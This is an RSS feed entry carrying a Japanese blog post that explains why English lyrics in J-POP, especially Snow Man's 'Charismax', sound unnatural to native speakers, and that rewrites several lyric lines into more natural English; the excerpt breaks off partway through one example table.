﻿<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://ffeng.jp/wp-content/plugins/rss-feed-styles/public/template.xsl"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:rssFeedStyles="http://www.lerougeliet.com/ns/rssFeedStyles#"
>

<channel>
	<title>Spotify &#8211; たのしむイングリッシュ</title>
	<atom:link href="https://ffeng.jp/tag/spotify/feed/" rel="self" type="application/rss+xml" />
	<link>https://ffeng.jp</link>
	<description>FUN FUN ENGLISH</description>
	<lastBuildDate>Mon, 29 Dec 2025 12:34:48 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://ffeng.jp/wp-content/uploads/2024/05/becc7259dcbe6f095b1408b76d8a80aa-150x74.png</url>
	<title>Spotify &#8211; たのしむイングリッシュ</title>
	<link>https://ffeng.jp</link>
	<width>32</width>
	<height>32</height>
</image> 
<atom:link rel="hub" href="https://pubsubhubbub.appspot.com"/>
<atom:link rel="hub" href="https://pubsubhubbub.superfeedr.com"/>
<atom:link rel="hub" href="https://websubhub.com/hub"/>
<atom:link rel="self" href="https://ffeng.jp/tag/spotify/feed/"/>
<rssFeedStyles:reader name="Digg Reader" url="http://digg.com/reader/search/https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:reader name="Feedly" url="http://cloud.feedly.com/#subscription%2Ffeed%2Fhttps://ffeng.jp/feed/"/><rssFeedStyles:reader name="Inoreader" url="http://www.inoreader.com/?add_feed=https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:button name="Like" url="https://www.facebook.com/sharer/sharer.php?u=%url%"/><rssFeedStyles:button name="G+" url="https://plus.google.com/share?url=%url%"/><rssFeedStyles:button name="Tweet" url="https://twitter.com/intent/tweet?url=%url%"/><rssFeedStyles:button name="Evernote" url="http://www.evernote.com/clip.action?url=%url%"/><rssFeedStyles:button name="Tumblr" url="https://www.tumblr.com/widgets/share/tool?posttype=link&amp;canonicalUrl=%url%"/><site xmlns="com-wordpress:feed-additions:1">164513092</site>	<item>
		<title>なぜ日本の英語歌詞は不自然に聞こえるのか──Snow Manで見るJ-POP英語の現在地</title>
		<link>https://ffeng.jp/2025/10/08/jpop-english-lyrics-weird/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Wed, 08 Oct 2025 12:00:07 +0000</pubDate>
				<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[CHARISMAX]]></category>
		<category><![CDATA[First Love]]></category>
		<category><![CDATA[J-POP]]></category>
		<category><![CDATA[J-POP市場]]></category>
		<category><![CDATA[ONE OK ROCK]]></category>
		<category><![CDATA[Snow Man]]></category>
		<category><![CDATA[Spotify]]></category>
		<category><![CDATA[Taka]]></category>
		<category><![CDATA[You are always gonna be my love]]></category>
		<category><![CDATA[かつ母語レベル]]></category>
		<category><![CDATA[すごさ]]></category>
		<category><![CDATA[アイドルソング]]></category>
		<category><![CDATA[イティブ]]></category>
		<category><![CDATA[イメージ]]></category>
		<category><![CDATA[オリジナル]]></category>
		<category><![CDATA[カリスマックス]]></category>
		<category><![CDATA[クオリティ]]></category>
		<category><![CDATA[グローバルプレイリスト]]></category>
		<category><![CDATA[シンプル]]></category>
		<category><![CDATA[ジャニーズ出身]]></category>
		<category><![CDATA[スポーツ選手]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[スローガン調]]></category>
		<category><![CDATA[ソングライター]]></category>
		<category><![CDATA[ニューヨーク育ち]]></category>
		<category><![CDATA[ネイティブ]]></category>
		<category><![CDATA[ネイティブが自然だと感じる英語]]></category>
		<category><![CDATA[バイリンガル]]></category>
		<category><![CDATA[プロデューサー]]></category>
		<category><![CDATA[ポップス]]></category>
		<category><![CDATA[マーケティング力]]></category>
		<category><![CDATA[メロディ]]></category>
		<category><![CDATA[メロディとの制約]]></category>
		<category><![CDATA[モーラ]]></category>
		<category><![CDATA[リスナー]]></category>
		<category><![CDATA[リズム]]></category>
		<category><![CDATA[ワンオク]]></category>
		<category><![CDATA[七光り]]></category>
		<category><![CDATA[三位一体]]></category>
		<category><![CDATA[不自然]]></category>
		<category><![CDATA[世界に通じる英語]]></category>
		<category><![CDATA[世界基準]]></category>
		<category><![CDATA[世界市場]]></category>
		<category><![CDATA[佐藤健]]></category>
		<category><![CDATA[余白]]></category>
		<category><![CDATA[作家]]></category>
		<category><![CDATA[作詞家]]></category>
		<category><![CDATA[傾向]]></category>
		<category><![CDATA[共作]]></category>
		<category><![CDATA[共感]]></category>
		<category><![CDATA[国際基準]]></category>
		<category><![CDATA[国際的]]></category>
		<category><![CDATA[応援]]></category>
		<category><![CDATA[応援歌文化]]></category>
		<category><![CDATA[恋愛]]></category>
		<category><![CDATA[意味]]></category>
		<category><![CDATA[意味不明フレーズ]]></category>
		<category><![CDATA[文法]]></category>
		<category><![CDATA[文法エラー]]></category>
		<category><![CDATA[日常]]></category>
		<category><![CDATA[日常英語]]></category>
		<category><![CDATA[日本アーティスト]]></category>
		<category><![CDATA[日本人]]></category>
		<category><![CDATA[日本人がカッコいいと思う英語]]></category>
		<category><![CDATA[普遍的なフレーズ]]></category>
		<category><![CDATA[曖昧さの欠如]]></category>
		<category><![CDATA[正しい文法]]></category>
		<category><![CDATA[母語]]></category>
		<category><![CDATA[比喩]]></category>
		<category><![CDATA[洋楽]]></category>
		<category><![CDATA[海外]]></category>
		<category><![CDATA[海外アーティスト]]></category>
		<category><![CDATA[海外フェス]]></category>
		<category><![CDATA[海外ロック]]></category>
		<category><![CDATA[海外向け]]></category>
		<category><![CDATA[海外展開前提]]></category>
		<category><![CDATA[真面目]]></category>
		<category><![CDATA[第一人者]]></category>
		<category><![CDATA[簡単な英語]]></category>
		<category><![CDATA[羽生結弦]]></category>
		<category><![CDATA[翻訳不可能]]></category>
		<category><![CDATA[自然さ]]></category>
		<category><![CDATA[自然なネイティブ風]]></category>
		<category><![CDATA[自然な英語]]></category>
		<category><![CDATA[芸能界の友人]]></category>
		<category><![CDATA[英語]]></category>
		<category><![CDATA[英語力]]></category>
		<category><![CDATA[英語圏]]></category>
		<category><![CDATA[英語詞]]></category>
		<category><![CDATA[装飾的要素]]></category>
		<category><![CDATA[資金]]></category>
		<category><![CDATA[違和感]]></category>
		<category><![CDATA[違和感ゼロ]]></category>
		<category><![CDATA[難しい英語]]></category>
		<category><![CDATA[雰囲気]]></category>
		<category><![CDATA[雰囲気要素]]></category>
		<category><![CDATA[面白みに欠ける]]></category>
		<category><![CDATA[音数]]></category>
		<category><![CDATA[音節]]></category>
		<category><![CDATA[響き]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=4858</guid>

					<description><![CDATA[<p>最近、リクエストをいただいて、特にSnow Man <a class="mh-excerpt-more" href="https://ffeng.jp/2025/10/08/jpop-english-lyrics-weird/" title="なぜ日本の英語歌詞は不自然に聞こえるのか──Snow Manで見るJ-POP英語の現在地">[...]</a></p>
<p>The post <a rel="nofollow" href="https://ffeng.jp/2025/10/08/jpop-english-lyrics-weird/">なぜ日本の英語歌詞は不自然に聞こえるのか──Snow Manで見るJ-POP英語の現在地</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/11/content-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2025/11/content-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/01/11/ren5/' title='「もし私が目黒蓮の彼女なら…」妄想で覚える英語仮定法③ IF 後編'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/01/superhero-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/01/superhero-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/01/superhero-150x150.png 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">「もし私が目黒蓮の彼女なら…」妄想で覚える英語仮定法③ IF 後編</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/05/26/starren3/' title='【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/05/IMG_1581-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">最近、リクエストをいただいて、特にSnow Manの楽曲をメインに、日本で作られた英語が多く登場する楽曲を訳しています。その際に、<mark style="background-color:#ffe9ee" class="has-inline-color">「日本の英語歌詞あるあるなのですが、意味のわからない英文が多発します。こんな感じかな？と意訳しております」</mark>という注意書きを入れているのですが、ある時「それってどういうこと？」という問い合わせを頂いたので、今回は、<strong>なぜ日本で作られた英語歌詞が不自然で英語として成り立っていないのか</strong>、をJ-Popを代表してSnow Manや他の英語詞をよく歌うアーティストと比較検証したいと思います。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:66px;height:auto"/></figure>



<h2 class="wp-block-heading">この記事を書くにあたり</h2>



<p class="wp-block-paragraph">1980年代のアイドルソングが流行り出した頃から、歌詞の一部に英語詞が使用され始め、90年代には当たり前の様に様々な楽曲の中で使用されるようになりました。90年代後半から流行り出した楽曲のサビに英語が使われ始めたのを記憶しています。それが、現代の音楽業界に引き継がれています。多くの場合、英語が文法的に意味を成しておらず、「なぜ、こんな英語を使うのだろう」と考えていました。</p>



<p class="wp-block-paragraph">日本の英語歌詞が不自然に響くのは、制作の優先順位や文化的背景が大きく影響しています。それは欠点であると同時に、J-Popならではの個性にも。<br>意味よりも響きを重視するアプローチと、世界に通じる自然な英語とのあいだ。その揺らぎの中に、J-Popの独自性が息づいているのではないでしょうか。</p>



<p class="wp-block-paragraph">J-Popのみならず、多くのK-popの英語歌詞にも同じ現象が見られ、英語圏以外の共通問題なのではと考え、検証してみました。</p>



<p class="wp-block-paragraph">今回は、Snow Manをはじめとするアーティストを取り上げてみましたが、関連各位を責めるための記事ではありませんのでご了承ください。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:66px;height:auto"/></figure>



<h2 class="wp-block-heading">なぜ日本の英語歌詞は不自然に聞こえるのか？</h2>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="640" height="426" src="https://ffeng.jp/wp-content/uploads/2025/10/huhmeaning00.jpg" alt="" class="wp-image-4865" srcset="https://ffeng.jp/wp-content/uploads/2025/10/huhmeaning00.jpg 640w, https://ffeng.jp/wp-content/uploads/2025/10/huhmeaning00-300x200.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></figure>



<h4 class="wp-block-heading"><span style="text-decoration: underline;">1. 英語歌詞が文法的に成り立たない理由</span></h4>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">サウンド優先の作り方</mark></span></strong><br>J-Popやアイドルソングでは、英語は意味よりも響きを重視して使われることが多いようです。リズムに合うことや発音したときの雰囲気を優先するため、フレーズ自体は格好良くても、文法的にぎこちなくなりがちです。</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">作詞家の英語力</mark></span></strong><br>作詞家が必ずしもバイリンガルとは限らないため、教科書的に正しいが子どもっぽい表現や、和製英語的な言い回し、英語の感覚的な組み合わせがそのまま使われることもあります。結果として、ネイティブにとっては不自然に聞こえる歌詞が生まれやすいのです。</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">メロディとの制約</mark></span></strong><br>日本語の音数（モーラ）と英語のリズムは必ずしも一致しません。歌いやすさを優先して単語を切ったり強調したりするうちに、意味が伝わりにくくなることがあります。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading"><strong><span style="text-decoration: underline;">2. 面白みがない歌詞になりやすい理由</span></strong></h4>



<p class="wp-block-paragraph">歌詞に盛り込まれた英語の響きがカッコよくても、訳してみたらなんかイメージと違って面白みがない歌詞だった、という話をよく聞きます。こちらも検証してみましょう。</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">スローガン調になりやすい</mark></span></strong><br>日本の作詞家は英語を響きやカッコよさで選びがち。内容の自然さよりもパンチのある単語や、<strong>Break through every limit</strong>や<strong>Believe in yourself</strong>など、日常会話ではほとんど使われないフレーズで力強さを強調したりする場合も。表現が硬く標語に近い響きになり、どこか説教くさく聞こえてしまいます。</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">応援歌文化の影響</mark></span></strong><br>日本のアイドルソングやJ-Popは、リスナーに前向きなメッセージを込めた歌が多く、英語パートも応援系のフレーズに偏り、どうしても真面目な響きになってしまいがち。英語圏のポップスが恋愛・日常・比喩を多く扱うのと対照的です。</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">ネイティブの余白や曖昧さの欠如</mark></span></strong><br>宇多田ヒカルやKing Gnuなど一部のアーティストは、短くシンプルで、意味をリスナーに委ねる英語的な余白を上手く使います。日本の英語歌詞は、言いたいことを全部言葉にする傾向があります。そのため説明的になりやすく、余韻が薄れてしまいます。</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">正しいが平板な英語</mark></span></strong><br>高学歴な作詞家やアーティストが書く英語は、文法的には正しくても比喩や遊びが少なく、「説明」に寄りやすい傾向があります。正確さはあっても、感情の揺れが伝わりにくく「だから何？」と感じられてしまうのです。</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">面白みに欠ける具体例</mark></span></strong><br>一見すると相手に語りかけているようでも、繰り返しが乏しく、リズムに乗り切れないまま流れてしまうことがあります。さらに、なぜその言葉を選んだのかという必然性が見えにくいため、聴き手に強い印象を残しにくいのです。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading"><span style="text-decoration: underline;">3. なぜ英語ネイティブの作詞家を使わないのか？</span></h4>



<p class="wp-block-paragraph">アイドルソングやJ-POPの市場は、国内のファンが主なターゲット。海外向けに通じるかよりも、日本人にカッコよく聞こえるかが優先されます。正しい英語を使用するより、あえて和製英語的な響きを残すケースも多く見かけられます。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading"><span style="text-decoration: underline;">4. 海外アーティストとの違い</span></h4>


<table style="border-collapse: collapse; width: 100%; height: 132px;">
<tbody>
<tr style="border-style: dotted; border-color: #fac3d0; background-color: #ffb8c9;">
<td style="width: 24.7619%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px; vertical-align: middle;"> </td>
<td style="width: 75.2381%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px; vertical-align: middle;"><strong>傾向</strong></td>
</tr>
<tr style="height: 46px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 43px; background-color: #ffe3e3;"><strong>海外アーティスト</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 43px; vertical-align: middle;">意味・文法・リズムの三位一体で作詞され、リスナーは歌詞の意味を重視</td>
</tr>
<tr style="height: 46px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 43px; background-color: #ffe3e3;"><strong>日本アーティスト</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 43px; vertical-align: middle;">意味よりも、雰囲気や響きを優先。英語は装飾的要素として入れられることが多い</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:66px;height:auto"/></figure>



<h2 class="wp-block-heading">J-POPの英語フレーズを「自然なネイティブ風」にリライトしてみよう！</h2>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="700" height="467" src="https://ffeng.jp/wp-content/uploads/2025/10/huhmeaning01.jpg" alt="" class="wp-image-4864" srcset="https://ffeng.jp/wp-content/uploads/2025/10/huhmeaning01.jpg 700w, https://ffeng.jp/wp-content/uploads/2025/10/huhmeaning01-300x200.jpg 300w" sizes="auto, (max-width: 700px) 100vw, 700px" /></figure>



<p class="wp-block-paragraph">ネイティブ向けにするときは比喩・リズム・自然な動詞を加えるだけでグッと洗練されます。<br>先日、ご紹介したSnow Manの『カリスマックス』フレーズをいくつか取り上げて、以下の3段階で検証してみます。</p>



<p class="wp-block-paragraph"></p>



<ol class="wp-block-list">
<li>不自然な和製英語詞</li>



<li>自然な英語にリライト</li>



<li>解説</li>
</ol>



<p class="wp-block-paragraph"><br></p>



<figure class="wp-block-embed is-type-wp-embed"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="t09esEhPEi"><a href="https://ffeng.jp/2025/09/01/snowmaan_charismax/">Snow Man『カリスマックス』和訳　韓国で披露した英語版歌詞も掲載！</a></blockquote><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;Snow Man『カリスマックス』和訳　韓国で披露した英語版歌詞も掲載！&#8221; &#8212; たのしむイングリッシュ" src="https://ffeng.jp/2025/09/01/snowmaan_charismax/embed/#?secret=Y9s8KeDvYZ#?secret=t09esEhPEi" data-secret="t09esEhPEi" width="600" height="338" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div></figure>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<p class="wp-block-paragraph"><strong>例1</strong></p>


<table style="border-collapse: collapse; width: 100%; height: 243px;">
<tbody>
<tr style="border-style: dotted; border-color: #fac3d0; background-color: #ffb8c9;">
<td style="width: 24.7619%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 57px;"><strong>不自然な<br />和製英語歌詞</strong></td>
<td style="width: 75.2381%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 57px;"><strong>No fake smile make it right</strong> <br />てか愛想笑いなんてしない</td>
</tr>
<tr style="height: 46px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 46px; background-color: #ffe3e3;"><strong>リライト案</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 46px;"><strong>・A real smile will make it right</strong><br data-rich-text-line-break="true" /><strong>・Don’t fake a smile, just make it right</strong></td>
</tr>
<tr style="height: 140px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 140px; background-color: #ffe3e3;"><strong>解説</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 140px;"><strong>・No fake smile</strong>は日本人にとってカッコよく響きますが、英語的には違和感が強い<br /><strong>・</strong>ネイティブは<strong> Don’t fake a smile</strong>（嘘の笑顔を作らないで）のように動詞を使う方が自然<br /><strong>・</strong>文法的に誤り。<strong>no fake smiles＋make it right</strong> がつながらない。ネイティブには意味が曖昧で「偽の笑顔が正しくする？」と解釈されてしまう</td>
</tr>
</tbody>
</table>


<p class="wp-block-paragraph"><strong>例2</strong><br></p>


<table style="border-collapse: collapse; width: 100%; height: 103px;">
<tbody>
<tr style="border-style: dotted; border-color: #fac3d0; background-color: #ffb8c9;">
<td style="width: 25%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px;"><strong>不自然な<br />和製英語歌詞</strong></td>
<td style="width: 75%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px;"><strong>Go beyond the limitations</strong><br />限界超えてゆく</td>
</tr>
<tr style="height: 47px;">
<td style="width: 25%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 10px; background-color: #ffe3e3;"><strong>リライト案</strong></td>
<td style="width: 75%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 10px;"><strong>・Break through every limit</strong><br /><strong>・Break through all limits</strong><br /><strong>・Go beyond all boundaries</strong></td>
</tr>
<tr style="height: 47px;">
<td style="width: 25%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 47px; background-color: #ffe3e3;"><strong>解説</strong></td>
<td style="width: 75%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 47px; vertical-align: middle;"><strong>・limitation</strong> は単数形で使うと不自然な響きに。「限界突破」の勢いを出すなら<strong> limits</strong> や<strong> boundaries</strong> など複数形の方が伝わりやすい</td>
</tr>
</tbody>
</table>


<p class="wp-block-paragraph"></p>



<div class="wp-block-vk-blocks-border-box vk_borderBox vk_borderBox-background-transparent has-text-color has-pale-cyan-blue-color is-style-vk_borderBox-style-solid-round-tit-tab"><div class="vk_borderBox_title_container has-background has-pale-cyan-blue-background-color"><i class=""></i><h4 class="vk_borderBox_title"><span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="music" class="svg-inline--fa fa-music " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M470.38 1.51L150.41 96A32 32 0 0 0 128 126.51v261.41A139 139 0 0 0 96 384c-53 0-96 28.66-96 64s43 64 96 64 96-28.66 96-64V214.32l256-75v184.61a138.4 138.4 0 0 0-32-3.93c-53 0-96 28.66-96 64s43 64 96 64 96-28.65 96-64V32a32 32 0 0 0-41.62-30.49z"></path></svg></span>ちょっとカリスマックス な解説：「limit」の単数形と複数形の違い <span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="music" class="svg-inline--fa fa-music " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M470.38 1.51L150.41 96A32 32 0 0 0 128 126.51v261.41A139 139 0 0 0 96 384c-53 0-96 28.66-96 64s43 64 96 64 96-28.66 96-64V214.32l256-75v184.61a138.4 138.4 0 0 0-32-3.93c-53 0-96 28.66-96 64s43 64 96 64 96-28.65 96-64V32a32 32 0 0 0-41.62-30.49z"></path></svg></span></h4></div><div class="vk_borderBox_body">
<ol class="wp-block-list">
<li><strong>limit（単数形）</strong></li>
</ol>



<ul class="wp-block-list">
<li>「限界」という概念をひとつの壁として捉えているとき</li>



<li>ネイティブでも「限界を突破する」という時に単数形を使うことも</li>
</ul>



<p class="wp-block-paragraph">→ <strong>Break through every limit</strong> <strong>= 「あらゆる限界（それぞれの限界という壁）を突破しろ」</strong><br>単数ですが<strong>every</strong>が付いているので「<strong>一つひとつの限界</strong>」を指します。抽象的・比喩的にカッコいい印象に。</p>



<p class="wp-block-paragraph">◦ 例：<strong>There’s no limit to what you can do.</strong>（君の可能性には限界がない）</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<ol start="2" class="wp-block-list">
<li><strong>limits（複数形）</strong></li>
</ol>



<ul class="wp-block-list">
<li>「複数の制約」や「いくつもの境界線」をイメージ</li>



<li>より物理的・具体的な壁を複数越えるニュアンス</li>
</ul>



<p class="wp-block-paragraph">→ <strong>Break through all limits = 「あらゆる限界（それぞれの限界という壁）を突破しろ」</strong><br>単数ですが<strong>all</strong>が付いているので「<strong>全ての限界</strong>」を指します。力強くてより一般的な印象に。</p>



<p class="wp-block-paragraph">◦ 例：<strong>Push your body beyond its limits.</strong>（体力の限界を超えろ）</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="42" height="40" src="https://ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<p class="wp-block-paragraph">歌詞なら「限界という概念」または「具体的な制約」かで単数・複数どちらも成立します。どちらも英語として正しく、どちらでも使えますが、複数形にするとより自然に聞こえます。<br></p>
</div></div>



<p class="wp-block-paragraph"><strong>例</strong>3</p>


<table style="border-collapse: collapse; width: 100%; height: 124px;">
<tbody>
<tr style="border-style: dotted; border-color: #fac3d0; background-color: #ffb8c9;">
<td style="width: 24.7619%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px;"><strong>不自然な<br />和製英語歌詞</strong></td>
<td style="width: 75.2381%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px;"><strong>Push your hand with strong heart</strong><br />必ず信念を貫く</td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 44px; background-color: #ffe3e3;"><strong>リライト案</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 44px;"><strong>・Raise your hands <span style="color: #f78181;">with courage</span></strong><br /><strong>・Hold your head high,<span style="color: #f78181;"> stay strong</span></strong></td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 34px; background-color: #ffe3e3;"><strong>解説</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 34px; vertical-align: middle;"><strong>・push your hand</strong> という言い方は存在しない<br /><strong>・</strong>強い心で、は <strong>with courage</strong> や <strong>stay strong</strong> が自然</td>
</tr>
</tbody>
</table>


<p class="wp-block-paragraph"><strong>例</strong>4</p>


<table style="border-collapse: collapse; width: 100%; height: 148px;">
<tbody>
<tr style="border-style: dotted; border-color: #fac3d0; background-color: #ffb8c9;">
<td style="width: 24.7619%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px;"><strong>不自然な<br />和製英語歌詞</strong></td>
<td style="width: 75.2381%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px;"><strong>Sticking out genius</strong><br />はみ出す天才</td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 44px; background-color: #ffe3e3;"><strong>リライト案</strong></td>
